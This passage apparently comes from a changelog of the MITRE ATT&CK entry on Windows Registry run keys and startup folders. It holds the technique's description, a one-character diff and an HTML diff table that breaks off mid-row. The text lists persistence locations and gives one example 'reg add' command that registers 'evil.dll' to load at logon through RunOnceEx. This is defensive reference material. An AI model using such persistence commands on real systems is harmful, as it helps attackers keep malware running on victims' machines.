\\\"Depend\\\" key with RunOnceEx: <code>reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\\n\\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup</code>. The startup folder path for all users is <code>C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp</code>.\\n\\nThe following Registry keys can be used to set startup folder items for persistence:\\n\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders</code>\\n\\nThe following Registry keys can control automatic startup of services during boot:\\n\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices</code>\\n\\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\\n\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run</code>\\n\\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> run automatically for the currently logged-on user.\\n\\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\\n\\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\", \"diff\": \"--- \\n+++ \\n@@ -7,7 +7,7 @@\\n * <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run</code>\\n * <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce</code>\\n \\n-Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \\\"Depend\\\" key with RunOnceEx: <code>reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)\\n+Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \\\"Depend\\\" key with RunOnceEx: <code>reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\"</code>(Citation: Oddvar Moe RunOnceEx Mar 2018)\\n \\n Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup</code>. The startup folder path for all users is <code>C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp</code>.\\n \"}}, \"iterable_item_removed\": {\"root['external_references'][5]\": {\"source_name\": \"TechNet Autoruns\", \"description\": \"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.\", \"url\": \"https://technet.microsoft.com/en-us/sysinternals/bb963902\"}}}",
                    "previous_version": "2.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to52__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to52__0\"><a href=\"#difflib_chg_to52__top\">t</a></td><td class=\"diff_header\" id=\"from52_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;achieve&nbsp;persistence&nbsp;by&nbsp;adding&nbsp;a&nbsp;program&nbsp;to&nbsp;a</td><td class=\"diff_next\"><a href=\"#difflib_chg_to52__top\">t</a></td><td class=\"diff_header\" id=\"to52_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;achieve&nbsp;persistence&nbsp;by&nbsp;adding&nbsp;a&nbsp;program&nbsp;to&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;startup&nbsp;folder&nbsp;or&nbsp;referencing&nbsp;it&nbsp;with&nbsp;a&nbsp;Registry&nbsp;run&nbsp;key.&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;startup&nbsp;folder&nbsp;or&nbsp;referencing&nbsp;it&nbsp;with&nbsp;a&nbsp;Registry&nbsp;run&nbsp;key.&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dding&nbsp;an&nbsp;entry&nbsp;to&nbsp;the&nbsp;\"run&nbsp;keys\"&nbsp;in&nbsp;the&nbsp;Registry&nbsp;or&nbsp;startup&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dding&nbsp;an&nbsp;entry&nbsp;to&nbsp;the&nbsp;\"run&nbsp;keys\"&nbsp;in&nbsp;the&nbsp;Registry&nbsp;or&nbsp;startup&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">folder&nbsp;will&nbsp;cause&nbsp;the&nbsp;program&nbsp;referenced&nbsp;to&nbsp;be&nbsp;executed&nbsp;when</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">folder&nbsp;will&nbsp;cause&nbsp;the&nbsp;program&nbsp;referenced&nbsp;to&nbsp;be&nbsp;executed&nbsp;when</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.(Citation:&nbsp;Microsoft&nbsp;Run&nbsp;Key)&nbsp;These&nbsp;programs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.(Citation:&nbsp;Microsoft&nbsp;Run&nbsp;Key)&nbsp;These&nbsp;programs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;will&nbsp;be&nbsp;executed&nbsp;under&nbsp;the&nbsp;context&nbsp;of&nbsp;the&nbsp;user&nbsp;and&nbsp;will&nbsp;hav</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;will&nbsp;be&nbsp;executed&nbsp;under&nbsp;the&nbsp;context&nbsp;of&nbsp;the&nbsp;user&nbsp;and&nbsp;will&nbsp;hav</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;the&nbsp;account's&nbsp;associated&nbsp;permissions&nbsp;level.&nbsp;&nbsp;The&nbsp;following</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;the&nbsp;account's&nbsp;associated&nbsp;permissions&nbsp;level.&nbsp;&nbsp;The&nbsp;following</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;run&nbsp;keys&nbsp;are&nbsp;created&nbsp;by&nbsp;default&nbsp;on&nbsp;Windows&nbsp;systems:&nbsp;&nbsp;*&nbsp;&lt;cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;run&nbsp;keys&nbsp;are&nbsp;created&nbsp;by&nbsp;default&nbsp;on&nbsp;Windows&nbsp;systems:&nbsp;&nbsp;*&nbsp;&lt;cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n\\Run&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n\\Run&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows\\CurrentVersion\\RunOnce&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MACHI</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows\\CurrentVersion\\RunOnce&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MACHI</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">NE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run&lt;/code&gt;&nbsp;*&nbsp;&lt;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">NE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run&lt;/code&gt;&nbsp;*&nbsp;&lt;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVer</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVer</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sion\\RunOnce&lt;/code&gt;&nbsp;&nbsp;Run&nbsp;keys&nbsp;may&nbsp;exist&nbsp;under&nbsp;multiple&nbsp;hives</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sion\\RunOnce&lt;/code&gt;&nbsp;&nbsp;Run&nbsp;keys&nbsp;may&nbsp;exist&nbsp;under&nbsp;multiple&nbsp;hives</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Microsoft&nbsp;Wow6432Node&nbsp;2018)(Citation:&nbsp;Malwarebyt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Microsoft&nbsp;Wow6432Node&nbsp;2018)(Citation:&nbsp;Malwarebyt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;Wow6432Node&nbsp;2016)&nbsp;The&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\Software\\M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;Wow6432Node&nbsp;2016)&nbsp;The&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\Software\\M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icrosoft\\Windows\\CurrentVersion\\RunOnceEx&lt;/code&gt;&nbsp;is&nbsp;also&nbsp;ava</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icrosoft\\Windows\\CurrentVersion\\RunOnceEx&lt;/code&gt;&nbsp;is&nbsp;also&nbsp;ava</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilable&nbsp;but&nbsp;is&nbsp;not&nbsp;created&nbsp;by&nbsp;default&nbsp;on&nbsp;Windows&nbsp;Vista&nbsp;and&nbsp;ne</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilable&nbsp;but&nbsp;is&nbsp;not&nbsp;created&nbsp;by&nbsp;default&nbsp;on&nbsp;Windows&nbsp;Vista&nbsp;and&nbsp;ne</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wer.&nbsp;Registry&nbsp;run&nbsp;key&nbsp;entries&nbsp;can&nbsp;reference&nbsp;programs&nbsp;directl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wer.&nbsp;Registry&nbsp;run&nbsp;key&nbsp;entries&nbsp;can&nbsp;reference&nbsp;programs&nbsp;directl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;or&nbsp;list&nbsp;them&nbsp;as&nbsp;a&nbsp;dependency.(Citation:&nbsp;Microsoft&nbsp;Run&nbsp;Key)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;or&nbsp;list&nbsp;them&nbsp;as&nbsp;a&nbsp;dependency.(Citation:&nbsp;Microsoft&nbsp;Run&nbsp;Key)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;For&nbsp;example,&nbsp;it&nbsp;is&nbsp;possible&nbsp;to&nbsp;load&nbsp;a&nbsp;DLL&nbsp;at&nbsp;logon&nbsp;using&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;For&nbsp;example,&nbsp;it&nbsp;is&nbsp;possible&nbsp;to&nbsp;load&nbsp;a&nbsp;DLL&nbsp;at&nbsp;logon&nbsp;using&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\"Depend\"&nbsp;key&nbsp;with&nbsp;RunOnceEx:&nbsp;&lt;code&gt;reg&nbsp;add&nbsp;HKLM\\SOFTWARE\\Mic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\"Depend\"&nbsp;key&nbsp;with&nbsp;RunOnceEx:&nbsp;&lt;code&gt;reg&nbsp;add&nbsp;HKLM\\SOFTWARE\\Mic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rosoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend&nbsp;/v&nbsp;1&nbsp;/d&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rosoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend&nbsp;/v&nbsp;1&nbsp;/d&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\"C:\\temp\\evil[.]dll\"&lt;/code&gt;<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Oddvar&nbsp;Moe&nbsp;RunOnceEx&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\"C:\\temp\\evil[.]dll\"&lt;/code&gt;(Citation:&nbsp;Oddvar&nbsp;Moe&nbsp;RunOnceEx&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Mar&nbsp;2018)&nbsp;&nbsp;Placing&nbsp;a&nbsp;program&nbsp;within&nbsp;a&nbsp;startup&nbsp;folder&nbsp;will&nbsp;al</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ar&nbsp;2018)&nbsp;&nbsp;Placing&nbsp;a&nbsp;program&nbsp;within&nbsp;a&nbsp;startup&nbsp;folder&nbsp;will&nbsp;als</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">so&nbsp;cause&nbsp;that&nbsp;program&nbsp;to&nbsp;execute&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.&nbsp;There&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;cause&nbsp;that&nbsp;program&nbsp;to&nbsp;execute&nbsp;when&nbsp;a&nbsp;user&nbsp;logs&nbsp;in.&nbsp;There&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">is&nbsp;a&nbsp;startup&nbsp;folder&nbsp;location&nbsp;for&nbsp;individual&nbsp;user&nbsp;accounts&nbsp;as</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;startup&nbsp;folder&nbsp;location&nbsp;for&nbsp;individual&nbsp;user&nbsp;accounts&nbsp;as&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;well&nbsp;as&nbsp;a&nbsp;system-wide&nbsp;startup&nbsp;folder&nbsp;that&nbsp;will&nbsp;be&nbsp;checked&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">well&nbsp;as&nbsp;a&nbsp;system-wide&nbsp;startup&nbsp;folder&nbsp;that&nbsp;will&nbsp;be&nbsp;checked&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">egardless&nbsp;of&nbsp;which&nbsp;user&nbsp;account&nbsp;logs&nbsp;in.&nbsp;The&nbsp;startup&nbsp;folder&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gardless&nbsp;of&nbsp;which&nbsp;user&nbsp;account&nbsp;logs&nbsp;in.&nbsp;The&nbsp;startup&nbsp;folder&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">path&nbsp;for&nbsp;the&nbsp;current&nbsp;user&nbsp;is&nbsp;&lt;code&gt;C:\\Users\\\\[Username]\\AppD</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ath&nbsp;for&nbsp;the&nbsp;current&nbsp;user&nbsp;is&nbsp;&lt;code&gt;C:\\Users\\\\[Username]\\AppDa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ata\\Roaming\\Microsoft\\Windows\\Start&nbsp;Menu\\Programs\\Startup&lt;/c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ta\\Roaming\\Microsoft\\Windows\\Start&nbsp;Menu\\Programs\\Startup&lt;/co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;.&nbsp;The&nbsp;startup&nbsp;folder&nbsp;path&nbsp;for&nbsp;all&nbsp;users&nbsp;is&nbsp;&lt;code&gt;C:\\Prog</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;.&nbsp;The&nbsp;startup&nbsp;folder&nbsp;path&nbsp;for&nbsp;all&nbsp;users&nbsp;is&nbsp;&lt;code&gt;C:\\Progr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ramData\\Microsoft\\Windows\\Start&nbsp;Menu\\Programs\\StartUp&lt;/code&gt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">amData\\Microsoft\\Windows\\Start&nbsp;Menu\\Programs\\StartUp&lt;/code&gt;.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;&nbsp;The&nbsp;following&nbsp;Registry&nbsp;keys&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;set&nbsp;startup&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;The&nbsp;following&nbsp;Registry&nbsp;keys&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;set&nbsp;startup&nbsp;fol</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lder&nbsp;items&nbsp;for&nbsp;persistence:&nbsp;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Softw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;items&nbsp;for&nbsp;persistence:&nbsp;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Softwa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User&nbsp;Shell&nbsp;Fol</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User&nbsp;Shell&nbsp;Fold</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ders&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Win</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Wind</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows\\CurrentVersion\\Explorer\\Shell&nbsp;Folders&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HK</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ows\\CurrentVersion\\Explorer\\Shell&nbsp;Folders&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKE</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">EY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\E</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Y_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Ex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xplorer\\Shell&nbsp;Folders&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\SOFT</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plorer\\Shell&nbsp;Folders&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MACHINE\\SOFTW</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">WARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User&nbsp;Shell&nbsp;Fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User&nbsp;Shell&nbsp;Fol</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lders&lt;/code&gt;&nbsp;&nbsp;The&nbsp;following&nbsp;Registry&nbsp;keys&nbsp;can&nbsp;control&nbsp;automa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ders&lt;/code&gt;&nbsp;&nbsp;The&nbsp;following&nbsp;Registry&nbsp;keys&nbsp;can&nbsp;control&nbsp;automat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tic&nbsp;startup&nbsp;of&nbsp;services&nbsp;during&nbsp;boot:&nbsp;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MAC</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ic&nbsp;startup&nbsp;of&nbsp;services&nbsp;during&nbsp;boot:&nbsp;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_MACH</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">HINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">INE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Window</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws\\CurrentVersion\\RunServicesOnce&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s\\CurrentVersion\\RunServicesOnce&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_LOCAL_M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunService</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Window</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Windows</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s\\CurrentVersion\\RunServices&lt;/code&gt;&nbsp;&nbsp;Using&nbsp;policy&nbsp;settings&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">\\CurrentVersion\\RunServices&lt;/code&gt;&nbsp;&nbsp;Using&nbsp;policy&nbsp;settings&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 